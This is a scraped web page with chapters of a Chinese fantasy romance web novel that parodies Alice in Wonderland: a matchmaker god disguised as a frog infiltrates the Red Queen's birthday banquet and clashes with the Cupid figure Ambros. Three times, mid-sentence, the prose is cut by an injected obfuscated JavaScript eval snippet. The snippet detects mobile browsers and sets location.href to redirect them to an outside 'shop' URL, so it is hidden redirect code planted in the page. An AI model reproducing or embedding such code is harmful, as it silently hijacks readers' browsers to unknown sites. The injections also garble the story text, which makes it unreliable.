柯乐瞬间变大,直接将兔子压扁。 “四月兔,你怎么扁了啊!” 两个矮矮的小胖子双胞胎将压扁的兔子从他身下扯出。 兔子晃了晃头脑,兔耳朵抬起一只,再抬另一只。 兔子自言自语:“没事,没坏的。” 噗—— 他怎么又变小了?! 一顶褐色的牛仔帽被推到他面前,疯帽子的彩妆脸忽而贴脸开大,“爱丽丝,上来。” 他刚攀到帽檐上,疯帽子朝他微微一笑,“抓紧了。” 下一秒,帽子便被一整个抛了出去! 他迅速地乘着帽子飞过草地,飞出墙头,红皇后的宫殿在他身后变得越来越小…… 柯乐的脸被风吹得变形:“救命啊——” 5. 【-40%】 白皇后宫殿内。 没有白皇后。 疯帽子的帽子将柯乐送到白皇后的宫殿,叮当兄弟早早等着,将他解救。 柯乐得知白皇后离开宫殿后,震惊道:“红皇后和白皇后不是对家吗?巨龙还没杀死,白皇后就离开了?” 叮当兄弟是一对双胞胎,两个小矮胖子。 哥哥侃侃而谈:“白皇后去环游世界了。” 弟弟强调道:“然后把杀死巨龙的任务交给你了,爱丽丝小姐。” “环游世界了?”柯乐惊掉了下巴,指着自己,“然后能不能别叫我‘爱丽丝小姐’?你看我像女的吗?” 弟弟说:“代码是这样写的。” 哥哥说:“爱丽丝小姐来到这里,然后带领众人,杀死巨龙,打败红皇后。” 说到红皇后,柯乐的脑海自动浮现出安布洛斯的脸。 就在此时,他的心脏突然酸胀,被安布洛斯射中的地方,一种奇怪的感觉一闪而过。 都已经“死”过一回了,怎么还是有种膈应感? 他甩了甩头,好受一些:“你们没发现红皇后被替换了?” 哥哥:“没有。” 弟弟:“一直都是那么丑陋。” 哥哥:“不过最近可能用了什么垃圾偏方,好像没那么丑了。” 弟弟:“甚至有点好看。” 柯乐咳了一声。 丑陋倒真不能用来形容安布洛斯。 哥哥肚子“咕”一声:“我们进去聊,晚餐准备好了。” 白皇后离开前将一切都准备好了,“爱丽丝”来了之后,城堡内的所有人和物都可以为她所用,生活上的照顾也安排得无微不至。 晚餐过后,疯帽子和四月兔加入了讨论的行列。 时钟滴答走着,壁炉的火烧得正旺。 暖洋洋的,熏得柯乐晕晕乎乎,强撑着开圆桌会议。 疯帽子把玩着一块怀表,说:“如果要杀死巨龙,那首先要找到巨龙。” 柯乐顺着问道:“巨龙不是很大一只吗,你们平时都没看到?” 叮当哥哥:“好像在红心城堡的后花园养着。” 叮当弟弟:“得接近红皇后才能看到。” 【柯乐先生,主线任务中,[成功接近红皇后]是一个重要的事件节点,请好好把握哦。】 柯乐耷拉脑袋:“可我刚刚才给安布洛……红皇后送上一顶恶心的巨大高帽,她已经恨死我了。” “那就变成别人的样子。”四月兔跳起来。 疯帽子道:“欧,可是我们不会魔法。” 四月兔:“有人会。” “谁?” “柴郡猫。” * 柯乐在森林里找到正在小憩的柴郡猫。 柴郡猫打了个哈欠:“爱丽丝小姐,我当然会,但是您得有给我一个模板。” 女娲当年造人也得有模板嘛。 柯乐表示理解。 “那照哪个明星来呢?”柯乐思忖片刻,“还是欧美明星吧,安布洛斯应该比较喜欢五官深邃的,然后鼻梁一定要高挺。” 柴郡猫欲言又止,打了个哈欠。 柯乐补充道:“唇不能太厚,不然就成香肠了……最好是打一点点腮红,看起来有气色些。” 柴郡猫在空中转了个圈,裂开嘴笑:“亲爱的,恐怕不行。红皇后的宫殿里可没有你说的这样的人,太暴露了。” 柯乐后知后觉:“啊?那我岂不是得变成那堆扑克?!” 柴郡猫贴着他,仔细嗅闻:“我看你好像身上藏着某个东西的影子……” “嗬——”不远处的疯帽子对着他发出一声怪叫。 叮当兄弟一起瞪大双眼:“欧,爱丽丝变成了青蛙!” 青……青蛙?! 柯乐抬手一看,一片翠绿映入眼帘。 他大叫一声,疯帽子贴心地送上一面镜子,他就这样一瞥,差点没撅过去,一屁股跌坐在地上。 好似喉咙了卡着一个大气泡,柯乐清了清嗓子:“为什么会变成青蛙呱。” 青蛙……一个不妙的预感油然而生。 “系统,面板调出背包内的青蛙!” 【好的柯乐先生,这就为您展现背包中的青蛙。】 【青蛙,收集地点:红心城门外。】 【特点:青色的皮肤透着灰色,是青蛙中非常漂亮的一只。】 柯乐不可置信:“柴郡猫,你能看到我的系统?” “我只看到你的身后……你的气息里,有活物。”柴郡猫的尾巴甩动,“然后我就隐隐约约看得见你身后这只青蛙。” 疯帽子打的一手算盘:“刚好城堡内少了一只青蛙,爱丽丝小姐恰巧就能化成牠的模样,接近红皇后。” 叮当兄弟拍手称好:“这样就能获得巨龙的信息啦,爱丽丝小姐果然是最勇敢的人!” 疯帽子的怀表“嗒”的一声,十二点了。 【亲爱的柯乐先生,小可为您汇报今天的战绩。】 【由于红皇后的满意度直接影响了攻略进度,因此小可判定今日攻略进度:-46%】 天哪,这和完不成业绩一样,还倒扣的?! * 红心城堡内。 好巧不巧,红皇后的生日到了。 红心城堡内乱成一团,给了柯乐潜入的机会。 他走在火红的地毯上,总有种不实感,飘飘然的。 “喂,你在愣着干什么?”黑方J推着盛着甜甜圈的小车从他面前经过,带起一阵甜腻的香气,“还不快帮忙?” 甜甜圈看起来就炸得很好,面包体蓬松,在中央的孔上放着红心形状的棉花糖,粉红色的奶油从挤奶油的小孔里溢出。 应该是草莓或者树莓味的,或者是两者混合,酸酸甜甜……等等! 他怎么会被这区区甜甜圈吸引了?这时候不应该想这个的。 他将目光移开,慌忙要过去接手,被黑方J一手拍开:“去后花园摘罗勒叶,给厨房送去。” 莓果甜腻的气味勾着他,引诱他的目光重新偏移。 好香的甜甜圈。 “你看什么呢!”黑方J喝道,“丑陋的青蛙,这也是你配看的?可恶的爱丽丝,害我沦落到在厨房打下手。” 咕—— 他的肚子长鸣一声,在黑方J一□□来时慌忙逃窜。 后花园,那正如了他的意! 可哪里才是后花园呢?如果他去问路,那岂不是暴露了他并非城堡内的蛙? 柯乐躲在柱子后,等待落单的有缘人。 等了有一会,对话声由远及近,自拐角处出现两道身影。 是两只青蛙卫兵,分别抱着鸡蛋和面粉。 “听说Queen对这次的蛋糕极其不满意,将整个蛋糕砸在铁皮士兵的脸上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944576|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我亲眼看到的,Queen一拳砸塌了蛋糕!” “可这是为什么呢?” “好像是因为上面有一个月亮?本来设计师是打算突出‘Queen和月亮一样美丽耀眼’的概念,可不知道为什么,Queen大发雷霆,拳头直接将月亮砸没了。” 柯乐:……安布洛斯看来怨气真的很重。 “Queen的脾气越来越差了,爱丽丝逃走之后,她基本上是一天一小疯,两天一大疯……我先去洗手间,你在这里等等。” 哎?好机会! 在其中一只青蛙往通道后走去时,柯乐找准机会,在等待的青蛙士兵放松警惕时,往前一扑一劈! 一个手刀下来,青蛙软绵绵地倒下,被柯乐这只强壮有力的蛙蛙拖到柜子旁藏起来。 在他将青蛙人藏好后,另一只青蛙神清气爽进来:“我回来了,应该没有人找我们吧?” 柯乐非常镇定地摇摇头。 “那太好了,我们快去后花园,听说刚刚有只倒霉青蛙,碰到了黑方J,不知道是不是被……”青蛙做了个抹脖子的手势。 倒霉……青蛙,不会说的是他吧? 柯乐不语,只一味地点头。 牠说什么就什么。 跟着熟悉的青蛙走,很快就到了后花园的大门。 大门是镂空铁门,柯乐一眼便看到无边无际的花植。 “你进去摘罗勒吧,”青蛙士兵拍了拍他的肩膀,“我在门口摘玫瑰,需要给Queen插花。” 自己一个人,简直是天时地利人和,这绝对是找巨龙的最佳时机。 这应该是新手期的福利,大爱系统。 铁门没有关紧,柯乐试探性地推门,门“咿呀”一声开了。 叫不出名字的花争奇斗艳,一条细小的人工溪流滋养了这广阔的花园。 他环顾四周,哪里有巨龙的影子? 但很快他却扫到自己需要采摘的罗勒叶,就在一块人造岩石旁。 花园太宽阔,又寻不到巨龙的踪迹,柯乐总是有些心慌。 他蹑手蹑脚地走到罗勒旁,比划几下后,干脆利落地折下一整株。 【获得香香的罗勒草X1。】 【恭喜先生,有了香香的罗勒,你一定会成为最强大的美食家。】 就在他打算作罢时,在一旁的小丛林中,似乎有什么东西在反光,便走上前去。 一颗椭圆形的,比鸵鸟蛋还要大上一倍的蛋就那样静静躺在丛林中。 他弯腰端详这颗蛋。 蛋壳上布满了红褐色的裂痕,其他的也看不出所以然来。 ……茶叶蛋?!这一定很香。 不能想这些! 他甩了甩头,把这些念头从脑海中赶出去。 就在他要起身时,头顶的亮光忽而被一片阴影遮蔽,周遭的气温顿时升高,生生将他在如此短的时间内逼出汗来。 不大妙啊。 他梗着脖子,缓缓地、卡顿地、一点点地往上看去,下一秒直直对上了一颗圆盘似的眼睛,有四个成年男子巴掌加起来那么大。 眼睛周围是一圈细腻的绿色鳞片。 吭哧吭哧—— 巨龙的鼻孔里呼出灼热的空气,差点将柯乐就地烹饪。 忽然巨龙的鼻孔缩了缩,脸部和长脖周围的鳞片也随着抖动。 这架势……完蛋,牠要喷火了! 6. 【-40%】 柯乐两股战战。 巨龙的大头就悬停在他头顶,彻底将光亮遮蔽殆尽。 牠的瞳孔眯成一条深绿的线。 在牠张开嘴时,柯乐清晰地看到森然的獠牙。 “哥们你好像罗勒粘牙了。” 巨龙的嘴张着,瞳孔一缩一放。 牠愣了愣,回过神来时柯乐已经紧紧将龙蛋抱在怀里:“你别喷火啊我警告你,别喷到你自己的孩子了。” 巨龙浑身的鳞片炸开来,像响尾蛇的尾巴,急速颤动,周遭温度腾地再度上升。 天,这回真生气要喷火了! 柯乐下意识抬手去挡。 “弄巧成拙的家伙。”冷冷的声音自布满藤蔓的亭子中传来,“桑格利凡,退下。” 熟悉的声线让柯乐当即望去。 安布洛斯一席红色锦袍,红色与金色交织的皇冠在他头顶上,衬得他更加高贵。 柯乐的耳朵一阵嗡鸣,被点了穴似的直挺挺站在原地,目光盯着步步朝他走来的西方神明。 巨龙爪子在地上烦躁地刨了两下,后退一步,不甘地与安布洛斯无声对抗。 “退下。”安布洛斯将权杖立起,冰冷的目光朝他斜睨而来,“还不快把手中的东西放下?” 柯乐慌忙“哦”了一声,甫一将蛋放在地上,巨龙便后退,扑腾两下翅膀,往花园深处飞去。 他的手中还握着那株罗勒,任由安布洛斯居高临下地俯视他。 扑通扑通。 心跳得怎么这么快,太不寻常了,不会是压力太大快要猝死了吧。 四目相对片刻后,安布洛斯薄唇轻启。 “好丑的青蛙。” 柯乐:……@%&@#*@!%^&…… 他微笑,鞠了个躬:“Queen,请移步大厅,您的生日晚宴快要开始了。请好、好、用、餐。” 他说得咬牙切齿,安布洛斯的目光移开,从他身旁经过,不带感情道:“守规矩些。” 小不忍则乱大谋,不能在这个节骨点上暴露,不然以后都没有机会完成任务了。 “好的我尊贵的Queen。”他僵着笑容目送安布洛斯离开。 靠! 这丘比特发什么癫? 这算什么事?阿尔卑斯山看来是满足不了他了,这是妥妥的官瘾啊! 既然他这么喜欢晚宴,那就让他吃个够! 他放眼整个花园,终于找到了类似辣椒的东西。 火红一长条,太配那个红皇后了。 他直接抓了一大把,握在手心还有些份量。 他气冲冲往厨房的方向走,忽然脚踢到了什么东西,一低头,竟是刚刚那颗龙蛋。 他弯腰摸了摸光滑的蛋。 别说,要不是这红皇后的宠物巨龙的蛋,倒还真的挺好看的。 【获得桑格利凡的蛋X1。】 【这是一颗极其稀有的龙蛋,请先生定期为它输送一点营养液,它会长得很快哦!】 “这龙蛋居然能捡?” 【是的先生,虽然龙蛋属于本副本内的东西,但属于可复制物品,和背包内的[青蛙]不同,它是复制后到背包里的,所以将来孵出来的龙可能会差点意思。】 “差点意思?是指的能力吗?” 【孵出来先生就知道了。】 “那营养液又是什么?” 【这个嘛……小可不能透露哦,这个待您自己探索。】 好吧,这系统还藏着秘密的。 不管了,巨龙的位置是知道了,先去整整安布洛斯,他实在是咽不下这口气。 柯乐将那把辣椒藏在青蛙的围兜里,捧着罗勒往厨房的方向走。 还未踏进去呢,一股香甜的味道便从里面飘了出来。 好像是烤布丁的香味,还有烤羊腿的味道……甜甜圈的香气还混杂在里头,丝丝缕缕。 “死青蛙,你摘这么多罗勒干什么?”正在搅拌罗宋汤的黑方J叫住往锅炉方向走的他,埋怨道,“算了,快点拿来,就差你这一两片的,搞这么久,去剁碎了给我。” 剁碎?那正好。 柯乐大大方方地随手掏出辣椒,和罗勒一起哐哐剁碎,趁着黑方J转身的功夫,一股脑倒进罗宋汤中。 黑方J回头再看,佐料已经被橘红色的汤吸收殆尽。 “我这是要按配方的!”黑方J当即揪住他的青蛙领子大吼,“我就负责这碗罗宋汤,要是出了偏差,Queen不满意了,我被砍头时一定要拉着你一起!” 柯乐眼珠子一转:“大人,我是按照你放在台面上的配方表下的,应该不会出问题的。” 黑方J扫了眼台面,大出一口气的同时也松了手:“算你有点头脑。” 他指挥道:“去大厅帮忙了,别堵在这里碍手碍脚。” 柯乐爽快答应:“好的大人。” 他顺着食物的芳香来到了大厅。 青蛙和扑克队伍排成两排,自门口往大厅内走去,他打了招呼,挤进了队伍中。 琳琅满目的糕点堆叠成小山,烤好的整块整块的牛胸肉粉粉嫩嫩的。 相比起来,那几个甜甜圈属实是太不起眼了。 那要不…… “我去厕所,哎呦突然肚子好痛。”他捂着肚子,对他后面的青蛙说,“我先去,待会进来,以我们的关系,你一定不会揭发我的对吧?” 身后的青蛙一头雾水,但还是点了点头。 柯乐蛙蛙蹑手蹑脚地挪到队伍末尾,趁其他士兵不注意时,顺走了一个巧克力莓果的,然后一个转身,躲进了走廊的墙根底下。 他风卷残云般将整个甜甜圈往嘴里塞,然后若无其事地跟在队伍后,列队。 巧克力和莓果的搭配是他的最爱,甜而不腻,甜后残留的苦涩在口腔回荡,能让他一整天都心情愉悦。 柯乐挺直胸背,在青蛙的队伍中极其融洽。 为首的铁皮士兵高喊:“今天是Queen的生日,让我们欢呼!” 周围的扑克和青蛙忽而全举起手,喊声震天动地:“我们的Queen世界最强!” 柯乐不情不愿地,但无可奈何地跟随着青蛙颤颤巍巍地举手,浑水摸鱼地对口型。 安布洛斯的权杖点地两下,宣布宴会开始。 红皇后作为主角,就和头狼一般,必须先吃第一口,在场其他人才能动叉。 “Queen,这是黑方J为您制作的罗宋汤,”为首的铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944577|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮士兵定是拿了黑方J不少好处,极力推荐,“我看这汤色泽鲜艳,您试试。” 安布洛斯舀了一口,顿时脸色阴沉。 但他那该死的神性血统还是压制他吐出的欲/望,喉结滚动,将汤硬生生咽下。 柯乐不由挑了挑眉,强压下嘴角。 黑方J腿一软,细长的双腿颤颤巍巍跪下,不管三七二十一,给自己安了个罪名:“Queen,我以后会少放点柠檬。” “里面放了什么?”安布洛斯手撑着额头,震怒,“你居然胆敢给我吃这种东西!” “什么东西……”黑方J极力回想,整张牌面都被他哭花了,颜料糊成一团,“我放了柠檬,Queen,我以后一定少放柠檬……我还放了青红丝、海鲜的我下次一定不敢用小虾米替代,还有罗勒……对,罗勒!” 安布洛斯看起来被吵得有些头疼,抬手道:“拖下去。” “罗勒,是那个……呜呜……” 黑方J的话被捂在嘴里,拖出了大厅。 【尊敬的柯乐先生,小可温馨提醒:请不要忘记你的主线任务哦。】 哦,杀死红皇后的巨龙。 他得找机会趁着宴会重新偷偷地溜到后花园,然后一刀了结巨……等等! 柯乐诧异地后知后觉,他什么武器都没有! 他低头看了看自己的指尖,一条红线颤颤巍巍地探了出来。 做太久的月老了,他只会牵红线,并且那凄惨的业绩深深地削弱了他的自信心。 他是怎么敢大摇大摆地从白皇后地盘挺身而出,然后大摇大摆地进入红皇后的领地的?! “喂,你怎么还凸着眼?”旁边一条蛙腿绊住他的,他蛙腿一颤,涣散的眼神猛然聚焦,下一瞬发现所有的扑克和蛙蛙都在瞪着大眼看他。 他的手还举着! 他像被戳中脊梁骨,抖了个激灵,慌忙放下高举的手,凸着蛙眼小声问旁边的蛙:“现在到哪一步了?” 这种感觉尤为熟悉,就像读书时没听课被老师当场抓了现行,然后问同桌:讲到哪里了? “铁皮士兵说,红皇后想找一个懂礼仪的过去分割一下肉块。”旁边青蛙好声提醒,“所有人都不敢过去,怕做不好被砍头,但是你做好了就会有很多的奖赏。” 完了完了,怎么就偏偏那个时候分神了? “那赶紧上来,别让Queen等久了。” 要上去吗?上去的话安布洛斯会不会发现他这只假冒的青蛙? 柯乐的大腿肌肉抽搐一下,刚想迈出一步,前排突然一声嚎啕。 一只青蛙连滚带爬趴在红皇后的王座下,想去拉红皇后的裤脚。 “Queen,我以后一定不会把肉切成这副模样,我会将边角修得整整齐齐,然后还会分成小块,让您容易下口……” 王座上的人冷哼一声,皮鞋尖挑开匍匐的青蛙,抬手:“拖下去,择时做红焖蛙腿。” 叉鸡的铁器架上青蛙的短脖,牠的声音离大厅越来越遥远:“不要啊——Queen,我会好好工作的——” 大厅内一片寂静,无人敢出声,皆是目视前方,不敢去端详红皇后的脸色。 主座上,传来细微的杯子落桌声。 7. 【-60%】(加更) 【亲爱的柯乐先生,小可为您汇报今天的战绩。】 【聪明的丘比特猜到了是您放的红鸾果,对您的印象大打折扣,您目前攻略进度:-60%】 【本来您的攻略进度离扭正已经近了一步,但现在您跌到了前所未有的高度,请反思自己哦。】 又又又负了这么多! 好吧,是他自己气不过干出来的事……稍等一下,他是怎么知道是他干的,明明当时后花园只有一只长得奇丑无比的蛙。 柯乐发愣:“红鸾果是什么东西?” 【就是您拿的,您认为的[长条辣椒]。】 “难道那不是辣椒?!” 【难道您没有发现,当您拾取红鸾果的时候,背包并没有反应吗?】 “是哦!系统你一句话点醒我了。” 【红鸾果属于系统内违/禁品。】 柯乐瞪大双眼:“那你怎么不提醒我?它有什么作用吗?” 要是安布洛斯吃了有什么问题,他可真的要背上“谋杀西方神”的罪名了。 【哔——违禁品——】 安布洛斯捏了捏眉心,深邃的眉眼似乎朦胧了些。 “皇宫内不准再出现罗宋汤,”安布洛斯沉声,“铁皮士兵,将做好的甜甜圈拿上来。” 甜甜圈?! 为什么这么多东西,他非要吃甜甜圈?! “遵命Queen。” 铁皮士兵在命令下达时鞠躬,双手捧着装着甜甜圈的盘子小心翼翼地放到他身边,一一介绍, “按照您的想法,做的橘皮白巧、焦糖奶油、脆脆麦粒奶油,特别是这个莓果巧克力……” 铁皮士兵的声音戛然而止,大厅内死一般的寂静,落针可闻。 柯乐喉结滚动,咽了咽口水。 安布洛斯掀起眼皮,深邃的眼窝让他的脸色看起来阴沉沉的。 他的手指屈起,轻敲扶手。 铁皮士兵分别不会流汗,但牠瞬间愣住的表情活像得知了死讯。 牠颤着声道:“莓果巧克力的呢?” 另一位铁皮士兵霎时明白,高喊:“列队——” 由扑克和青蛙组成的军队当即跺了跺脚,再度挺直了胸背。 王座上的人皮鞋翘了翘,将左腿放下,起身时红袍散开,成为部分的大腿和小腿的背景板。 安布洛斯自台阶稳步而下,皮鞋跟踩在火红的地毯上,发出轻微的踢踏声。 他扫视左右列队的士兵,眼神冷冽。 “是谁,吃了我的莓果巧克力甜甜圈?” 柯乐的小腿颤了颤。 前面没有被揪出毛病的扑克青蛙们皆是松了一口气。 安布洛斯越来越近了,之前被识破不过是因为会下手的多半会是他。 应该不会注意到他的,毕竟他现在只是一只普普通通的、丑陋的…… 安布洛斯停在了他面前。 柯乐疯狂吞咽口水。 安布洛斯比他现在的形态要高出两个头,忽而转身面对他。 红色长袍随着转身的动作往上翻飞,一双深邃的绿眸如碧潭,阴影自眉骨打下,处处都透着胜利者的气息。 安布洛斯哼笑一声,俯身。 极具侵略性的绿瞳倒映出青蛙慌张的模样,金色的发丝垂下挡住视线,安布洛斯抬手撩上去,下一刻他的唇一凉。 安布洛斯的手指摁住了他的下唇,沿着他的唇珠摩挲到嘴角,力道忽而加重。 旁边的青蛙士兵兄弟倒吸一口凉气。 安布洛斯的手指擦过他的嘴角,然后挺直身子,将手指含进嘴里嘬了一下。 柯乐的目光落在那根修长的食指上,指根套着一个扳指,称得他的动作越发性感…… 不对啊,这这这是什么情况?有点太太暧昧了吧! “酸酸甜甜,莓果的香气。”安布洛斯垂眸,纤长的睫毛随着扇动,“爱丽丝,甜甜圈好吃吗?” 柯乐的心咯噔一下,一半是被魅惑,一半是慌的。 果然,在他猛然抬头撞进绿瞳时,他见到了自己的倒影。 哪里还有半分青蛙的模样! “偷吃都不懂得抹干净,你这里还有,”安布洛斯指了指自己的嘴角,眼神轻飘飘一瞥,“士兵,押下去吧。” 铁皮士兵吼道:“遵命Queen!拖下去砍头——” “好吵。”安布洛斯抬手捂住右耳,“谁说要砍头了?给我拖到我房里。” “遵命Queen……”铁皮士兵长枪一抖,“您说什么?拖到您的……房里?!” * 柯乐被五花大绑扔到红皇后的寝殿里时,头脑发晕。 他正坐在木质地板上,撑起身子蛄蛹到墙根,勉强能够靠着墙,让背部放松些。 红皇后的寝殿仍旧是秉持着华丽至上的风格,从门进来拐个弯才是大床,帷幔收起,漏出光滑的丝被。 窗户离床有一定的距离,安布洛斯就倚在窗边,半佝偻着身子,头发垂下,似乎是在忍耐什么。 “安布洛斯,你什么意思?”柯乐企图和他讲道理,“西方神绑了东方神,这要是真算起来,你是吃不了兜着走。” “你要来清算?我明白你这句俗语的意思,”安布洛斯掀起眼皮,颧骨动了动,“我想你才是‘吃不了兜着走’……算了,你就待在这里,哪里都不许去。” 好家伙,还哪里都不许去,东方的霸道总裁那套倒是被他学了八成。 柯乐努了努嘴,小声嘀咕重复他的话。 安布洛斯一个眼刀杀过来,他想起确实是他不小心碰了系统的违禁物,这才不情不愿像虫子一样半弹跳着来到床脚。 他手脚都被绑着,只好靠着腰部发力,先把腿架上床尾,然后在妄图靠着仰卧起坐把自己翻上床。 不过这样是不是不大文明,这毕竟是人家的床,他脚先着的床,但是如果安布洛斯不绑着他,他也可以优雅地上他的床…… 哎?他为什么要上安布洛斯的床? “好歹让我去床上,”柯乐挺腰,扑棱两下,粗喘着,“这个天气,月老很不经冻的,哪像你们西方的神,常年住在阿尔卑斯那个天寒地冻的地儿,还总喜欢光着膀子、赤着脚,秀手臂也不是……” 他一时哑然。 安布洛斯一脚塞进他的腰下,一把揪起他的头发,将他甩到床上。 红袍披散而下罩着二人,他只觉得像棉被突然盖下,空气也变得温热。 “你不是要上/床吗?” 爱神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944578|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸虽然白皙,但经常拉弓使得他的手臂肌肉结实有力,轻易将柯乐的双手举过头顶。 柯乐眼睁睁看着安布洛斯的脸在他面前放大,绿眸在暧昧的暗光下,如雪夜的头狼审视猎物,将他紧紧攥夺。 “你不要把这个词汇就这么坦然说出来啊,”柯乐被盯得有些不自在,“这个有双重定义,虽然都是动词。” 他不安地扭动,擦过安布洛斯的腰带,突然发觉身上压着的人肌肉绷紧,也随着一僵。 抬头一看,安布洛斯的颧骨上不知何时已染上绯红。 从什么时候开始的? 柯乐弓起身子,用额头去触碰安布洛斯的额头,确实有些发烫:“你不会发烧了吧?” 安布洛斯忽而偏头,额头擦过他的右脸,呼吸急促。 过了几秒,安布洛斯突然欺身压来,将他重新抵回床垫。 这是什么剧情,系统、系统!帮个忙,看看有没有什么法宝啊,西方爱神丘比特他疯了! 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 安布洛斯的头就抵在他的肩上,柯乐疯狂扭动,企图躲避颈部皮肤的摩擦。 什么玩意,这是触发什么机制了?系统也疯了,这时候还不救救你的宿主? 柯乐大吼:“你还不赶紧给我滚出来!我要死了你知不知道?!” 【——哔——哔——】 “你说什么?”身上的人动作一滞,手撑着起身,用掌心揉了揉太阳穴,“你要死了?不可能,神明不会死。” 好热。 安布洛斯身上散发的热气快要把他融化了。 他问了一句无关紧要的废话:“你现在……很难受吗?” 那双绿眸盯着他,快要迸发出火花。 就当他以为安布洛斯要下死手时,西方爱神却拿火红袍子做被褥,朝旁边一躺一卷,在他侧边裹成一条看起来就很热的、毒性极强的毛毛虫。 现在他们两个看起来有点一样。 柯乐哭笑不得,蛄蛹着去触碰这副作茧的身子。 “你既然现在、now,没有气力去牵红线……射箭,要不把牵线的机会留给我,我看黑方J和红桃K有戏,gay里gay气的,我之前怎么就没想到能牵同性的。” 安布洛斯没有回应,柯乐又往前贴了贴。 仍旧没得到回应,柯乐扫视四周,在白色的小桌上,放着一把切水果的小刀。 得先把绳子切断了。 既如此,不如趁着安布洛斯没心思去理其他事情的时候,先逃出去,回白皇后的宫殿摇人拿装备。 他小心翼翼地往床边挪,想赶紧逃离这个恐怖的地方。 “Queen,不好啦——” 门被剧烈敲响,铁皮士兵隔着门禀报:“外面有一个人和一只兔子、一只猫,自称是‘三剑客’,说要我们交出爱丽丝,否则扫荡红心宫殿!” 他的目光瞬移到那一大长条毛毛虫身上。 安布洛斯终于有了动静。 他动了动身,却在要翻身的时候忽而僵住,保持着侧身的姿势,哑着声冷冰冰道:“去和那些垃圾东西汇合,给你一分钟的逃离时间。” 他咳了一声:“别让我抓到你,爱丽丝。” 8. 【-60%】 安布洛斯看起来极其痛苦。 他一把扯过被褥,将五花大绑的柯乐虫甩得滚了一圈。 他不管不顾,压抑着粗气将自己团成一团,然后又烦躁地将被褥掀开,伸手去扒自己的衣领,揪着往下扯,露出不停滚动的喉结。 “半分钟。”安布洛斯斜睨而来,双目赤红。 柯乐动了动:“你给我一小时都没用,就我这样,是滚到门口?” 安布洛斯:“那就别走了。” “什么?”柯乐不可置信地瞪大眼睛,下一刻一双有力的手臂拖着他身上的绳子,将他硬生生拖了过去! 绳子勒得他简直快喘不过气,他大呼:“有病?疼疼疼啊!” 他的身体完全不受控,只能随着安布洛斯的蛮力平移,直到沿着安布洛斯的右臂滚到他的胸口,安布洛斯的左手便搭上他的腰,再次搂紧他,将他往怀里压。 柯乐时常听闻西方爱神丘比特善于执弓,长相昳丽却有着结实修长的身材,如今他是真真切切感受到他们双方之间的体格差异。 安布洛斯的腿架上他的小腿,将他当成了一个人形抱枕,他却半点挣脱不开。 扑通扑通。 谁的心跳得这么快?是他还是安布洛斯?如果是安布洛斯,那岂不是…… 电视剧里,一般心跳加速有两种可能性。 一种是动心,一种是要暴毙了。 柯乐用头去拱安布洛斯的胸口,企图让他镇定下来:“安布洛斯,你不会要死了吧?你赶紧解开我,我会点中医,我替你把把脉!” 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 他什么时候给这颗龙蛋浇灌营养液的? 还没等他想明白,门口传来嘈杂的响动,突然门被砰砰砸了两次。 疯帽子道:“赶紧放了爱丽丝,不然我这把火就点了!” 铁皮士兵的长枪在地上划出刺耳的响声,柯乐本还等着牠呛声,门哐地一声闷响,光线瞬间涌进通道。 柯乐迷茫见看到一只兔子向他们奔来。 四月兔一身定制铠甲,手上握着一只团成球的刺猬,大喇喇地冲进来:“放了爱丽丝……” 牠的声音顿时弱了下来。 “怎么了?”在外拖延时间的疯帽子没听到房间内的声响,又喊了一声,“四月兔,爱丽丝在里面吗?” “在……”四月兔和床上的柯乐对视,一只耳朵立起,一只耷拉着,“爱丽丝红皇后,你们在干什么?!” 柯乐简直百口莫辩,这个场景实在是太诡异了,偏偏这个时候,安布洛斯受不了高热,喘了一声。 他好不容易仰起头往四月兔的方向望去,此时干脆摆烂,把头泄愤似的砸回安布洛斯的手臂。 “你你你你你!”四月兔突然大喊,“爱丽丝叛……” 这样下去就完了。 这个念头让他垂死病中惊坐起,奋力弓起身子,朝四月兔猛地扑过去! 说是扑,更应该是砸过去的。 像一块人形石头一般。 四月兔“呜”的一声被压在柯乐身下,牠怎么都想不到这辈子会当爱丽丝的垫背。 红线自柯乐指尖滑出,听话顺滑地编织成一块红布,堵上了四月兔的嘴:“委屈你一下了兔,待会解释。” 柯乐顺势往桌子旁一滚,叼着小刀开始切割绳子。 【小可提醒您,管制刀具也不可以放进背包哦。】 绳子捆了他许久,又被安布洛斯如此惨无人道地蹂躏,此时已经是脆脆鲨,轻易一割就崩开来。 他的身心顿时就感觉轻飘飘的,竟然还有些不真实。 柯乐的红线旁人看不到,四月兔不知道为什么突然就说不出话,惊恐万分时两只耳朵都竖起,警惕地听着四周的动静。 